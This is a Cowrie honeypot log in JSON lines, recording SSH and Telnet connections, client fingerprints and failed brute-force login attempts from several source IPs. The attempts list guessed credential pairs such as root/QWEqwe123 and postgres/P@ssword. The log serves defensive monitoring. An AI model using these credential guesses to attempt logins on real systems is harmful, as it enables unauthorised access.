{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:48.454356Z","src_ip":"176.65.139.103","session":"aee18075f049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:49.541227Z","src_ip":"176.65.139.103","session":"aee18075f049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.655261039733887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:52.460838Z","src_ip":"213.136.75.179","session":"2dfbdedd0836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.522626161575317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:52.477127Z","src_ip":"213.136.75.179","session":"6d52ceb28747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42928,"dst_ip":"10.17.0.5","dst_port":23,"session":"464bc8f1dc94","protocol":"telnet","message":"New connection: 213.136.75.179:42928 (10.17.0.5:23) [session: 464bc8f1dc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:53.585717Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42934,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d61bb4dc661","protocol":"telnet","message":"New connection: 213.136.75.179:42934 (10.17.0.5:23) [session: 0d61bb4dc661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:54.063395Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43310,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c32ac28c7a","protocol":"ssh","message":"New connection: 176.65.139.103:43310 (10.17.0.5:22) [session: c6c32ac28c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:54.503064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:54.508379Z","src_ip":"176.65.139.103","session":"c6c32ac28c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:54.595269Z","src_ip":"176.65.139.103","session":"c6c32ac28c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:54.854652Z","src_ip":"176.65.139.103","session":"c6c32ac28c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":41502,"dst_ip":"10.17.0.5","dst_port":22,"session":"6782650f3161","protocol":"ssh","message":"New connection: 103.176.20.115:41502 (10.17.0.5:22) [session: 6782650f3161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:55.699026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:55.703975Z","src_ip":"103.176.20.115","session":"6782650f3161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:55.955979Z","src_ip":"103.176.20.115","session":"6782650f3161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:56.085631Z","src_ip":"176.65.139.103","session":"c6c32ac28c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssword","message":"login attempt [postgres/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:56.992239Z","src_ip":"103.176.20.115","session":"6782650f3161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.869714498519897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:57.573701Z","src_ip":"213.136.75.179","session":"b84bca9db796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:58.246071Z","src_ip":"103.176.20.115","session":"6782650f3161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43318,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a319cd622b","protocol":"ssh","message":"New connection: 176.65.139.103:43318 (10.17.0.5:22) [session: f3a319cd622b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:00.587240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:00.593120Z","src_ip":"176.65.139.103","session":"f3a319cd622b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:00.677109Z","src_ip":"176.65.139.103","session":"f3a319cd622b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.836809158325195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:00.735850Z","src_ip":"213.136.75.179","session":"4ec96a9c3660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.942214012145996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:00.901990Z","src_ip":"213.136.75.179","session":"9e4a813d59db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:00.931839Z","src_ip":"176.65.139.103","session":"f3a319cd622b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33626,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d657519c429","protocol":"telnet","message":"New connection: 213.136.75.179:33626 (10.17.0.5:23) [session: 1d657519c429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:00.979661Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:02.062992Z","src_ip":"176.65.139.103","session":"f3a319cd622b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.992589950561523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:03.894900Z","src_ip":"213.136.75.179","session":"fef4fa7b1cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44100,"dst_ip":"10.17.0.5","dst_port":22,"session":"17d362816471","protocol":"ssh","message":"New connection: 176.65.139.103:44100 (10.17.0.5:22) [session: 17d362816471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:06.987843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:06.995248Z","src_ip":"176.65.139.103","session":"17d362816471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:07.079554Z","src_ip":"176.65.139.103","session":"17d362816471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:07.336186Z","src_ip":"176.65.139.103","session":"17d362816471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":60662,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb7f3631a34b","protocol":"telnet","message":"New connection: 213.136.75.179:60662 (10.17.0.5:23) [session: cb7f3631a34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:07.844239Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:08.424571Z","src_ip":"176.65.139.103","session":"17d362816471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":60670,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc74185dafa","protocol":"telnet","message":"New connection: 213.136.75.179:60670 (10.17.0.5:23) [session: 1bc74185dafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:10.475358Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55290,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd1ed78b672","protocol":"ssh","message":"New connection: 176.65.139.103:55290 (10.17.0.5:22) [session: 8dd1ed78b672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:13.288952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:13.293743Z","src_ip":"176.65.139.103","session":"8dd1ed78b672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:13.377018Z","src_ip":"176.65.139.103","session":"8dd1ed78b672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:13.630738Z","src_ip":"176.65.139.103","session":"8dd1ed78b672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:14.737609Z","src_ip":"176.65.139.103","session":"8dd1ed78b672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":60680,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f3d1edee7a6","protocol":"telnet","message":"New connection: 213.136.75.179:60680 (10.17.0.5:23) [session: 2f3d1edee7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:15.940349Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55318,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5ee5364910","protocol":"ssh","message":"New connection: 176.65.139.103:55318 (10.17.0.5:22) [session: ad5ee5364910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:19.582650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:19.587384Z","src_ip":"176.65.139.103","session":"ad5ee5364910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:19.670012Z","src_ip":"176.65.139.103","session":"ad5ee5364910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:19.918903Z","src_ip":"176.65.139.103","session":"ad5ee5364910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40302,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f4486a1685","protocol":"telnet","message":"New connection: 213.136.75.179:40302 (10.17.0.5:23) [session: 82f4486a1685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:20.746313Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58988,"dst_ip":"159.203.135.109","dst_port":22,"session":"13b66cf1bc7e","protocol":"ssh","message":"New connection: 159.203.92.129:58988 (159.203.135.109:22) [session: 13b66cf1bc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:20.778355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:20.782493Z","src_ip":"159.203.92.129","session":"13b66cf1bc7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:20.788357Z","src_ip":"159.203.92.129","session":"13b66cf1bc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anouk","password":"anouk","message":"login attempt [anouk/anouk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:20.799955Z","src_ip":"159.203.92.129","session":"13b66cf1bc7e","protocol":"ssh"}
